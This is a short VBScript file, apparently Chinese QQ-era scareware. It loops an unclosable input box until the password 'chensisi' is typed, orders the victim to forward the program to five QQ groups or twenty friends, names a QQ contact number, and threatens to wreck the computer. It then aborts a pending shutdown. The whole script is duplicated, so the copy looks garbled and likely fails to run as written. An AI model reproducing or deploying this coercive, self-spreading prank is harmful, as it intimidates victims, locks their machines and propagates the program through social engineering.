dim a
do while(a <> "chensisi")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ1927914090)不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！关不掉的，快加。"
loop
msgbox chr(13) + chr(13) + chr(13) + "恭喜你解除成功，下次别在上当了"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件由新世纪制作组制作"
do while(a <> "chensisi")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ1927914090)不然你也别想关掉、重启就让你开不开机，让你电脑瘫痪，不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈！关不掉的，快加。"
loop
msgbox chr(13) + chr(13) + chr(13) + "恭喜你解除成功，下次别在上当了"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件由新世纪制作组制作"
